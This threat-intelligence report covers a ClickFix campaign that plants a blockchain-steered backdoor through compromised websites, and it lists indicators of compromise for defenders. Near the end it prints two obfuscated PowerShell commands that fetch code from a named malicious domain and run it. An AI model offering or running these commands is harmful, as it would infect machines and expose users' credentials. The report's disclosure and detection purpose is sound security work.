TL;DR – A malware campaign has compromised at least 31 organizations’ websites to deploy a persistent backdoor.
Attackers have compromised the websites of at least 31 legitimate businesses, including e-commerce, professional services and retail logistics organizations. Visitors arriving to the compromised sites via search engine encounter a fake “Verify you’re human”. This CAPTCHA prompt instructs them to paste a command into their own computer, a tactic known as “ClickFix”. That single action installs a persistent backdoor with no visible indication of compromise. The backdoor survives reboots, beacons to C2 every minute and retrieves updated instructions from the Polygon blockchain.
Traditionally, ClickFix malware can be neutralized by blocking the attacker’s C2 server, cutting off communications with infected machines. Many ClickFix campaigns rely on hardcoded C2 addresses, making replacement costly and time-intensive once blocked.
This campaign sidesteps that defense by using the Polygon cryptocurrency blockchain as a dynamically updatable address book. Polygon is a permanent, distributed ledger that no single entity can take offline. Because it allows for ad hoc adjustment of C2 details at scale, blocking a singular domain or IP address alone does not permanently sever attacker access. For fractions of a cent per transaction, the attacker can redirect every infected machine to a new C2 server automatically. This tactic has been dubbed “EtherHiding,” and it allows attackers to redirect infected machines to new infrastructure at scale.
The tactic is spreading. It was first observed in campaigns from criminal groups in 2023. North Korean state actors adopted it by late 2025 and Iran-linked groups by early 2026. The campaign documented here is part of broader proliferation into the general cybercriminal ecosystem.
Immediate priorities:
In instances where the blockchain has been used to host C2 details, the resulting infrastructure address alone cannot be completely blocked or seized through conventional means. However, the blockchain’s immutability also works against the attacker: every operational decision they make is permanently and publicly visible. This gives investigators the opportunity to map campaign infrastructure, timelines and tactics using free, public data. These findings, in turn, can be used to generate signatures and behavioral detections which can be more effective against this tactic.
The playbook for this class of threat now exists. Unlike the attacker’s infrastructure, that knowledge can’t be rotated away.
Action Required: If your organization detects any of the indicators associated with this campaign, engage your incident response team immediately and treat any banking or exchange credentials entered on affected machines as potentially compromised.
C2 Infrastructure
3262d48df5d75e34[.]shop
ddcd62e16a428c8e[.]shop
hivinest[.]online
Delivery Domains
45a3158594d6ba76[.]fun
82d35f9b891c987a[.]fun
9082b2a18f2e00fe[.]fun
67b3ac3e45812153[.]fun
Folfdighdd[.]xyz
Cleearpeyak[.]online
Supporting Infrastructure
Onemm[.]net (build/staging; origin IP: 37.27.52[.]152)
→ origin server confirmed running 7 CISA KEV-listed CVEs (CVE-2023-4911, CVE-2023-0386, CVE-2022-2586, CVE-2023-44487, plus 2 recent 2026 entries); also carries CVE-2024-6387 (regreSSHion) in the broader vulnerability list
Additionalver[.]com (traffic distribution)
promo-chatgpt[.]com (traffic distribution)
pleasewaitcenter[.]top (traffic distribution)
skaybolt[.]online (traffic distribution
lanhd6549tdhse[.]top (traffic distribution)
Browser-Extension Web-Inject Panels
Purplepencel[.]online (banking/crypto web-inject config panel)
Detsigen[.]site (banking/crypto web-inject config panel)
Operator Wallets
0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826a
0x6a6e177dcf992ac16f7367c14b26a3cf4775dfde
0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7
Additional Contracts
0xa982e044217b6bbaa7b3123b670c1c0ca1138a37 (sibling contract, Wallet 1)
0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2 (first of 13 contracts deployed by Wallet 2)
Event Topic (for monitoring)
0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452cc
polygon-bor-rpc.publicnode[.]com
polygon.publicnode[.]com
polygon.gateway.tenderly[.]co
gateway.tenderly[.]co/public/polygon
1rpc[.]io/matic
polygon.api.onfinality[.]io/public
polygon.rpc.subquery[.]network/public
polygon.drpc[.]org
polygon.lava[.]build
Registry value: PersonalizedUpdates (under HKCU:\…\Run)
Scheduled task: “Enter” (1-minute cadence)
XOR key: !sdf$&G321
Victim fingerprint: reads MachineGuid from HKLM:\SOFTWARE\Microsoft\Cryptography
Malicious browser extension ID: bpknfkhjjbjgagobdaekmnlgdhbbpcea (observed under multiple cosmetic display names; the ID itself is the durable indicator)
Native messaging host name: com.top[.]index
ClickFix invocation, variant 1: $a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1]/); used with veruisuealx.xyz
ClickFix invocation, variant 2: $a=irm /;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke() used with truieparth[.]online
|
Hash
|
Description
|
|---|---|
|
03A1D2ECA771A276AC9C29A4BF219D31BEB20848998CACDA8B06375BD2795B10
|
C2 agent
|
|
5ac6a2b0d20c5508027e6fde6503a5e0105be59f2a57e6659caa14e4ac0d5939
|
C2 agent variant
|
|
67427f232762fe32afab1d0d14b1d6e7f7920f5b151e133fb68c9dfc333ec69a
|
Persistence script
|
|
10ab0f8ee0829fb24bf2c915f5bb0f35a2d84ed1d69049d42ca32cfa36250c11
|
C2 agent (sample 4)
|
|
cf176cf0ff50c74f08f127ef3b09be63a6f9e3ad69fa48233d4c805898368b2a
|
C2 agent (sample 5)
|
|
06990ee09a29d2cdde32cb639d50e6c1e078da96a7bdabd03a68a0bb209d07b1
|
Persistence script (sample 4)
|
|
00810c2e0ad5031b9fe5d2cfb4a6fb45a1c424d6b92be7ba3b1aaa7c55b10f8e
|
Persistence script (sample 5)
|
This analysis is based on original blockchain forensics, incident response corroboration and direct malware source-code recovery as of late August 2026.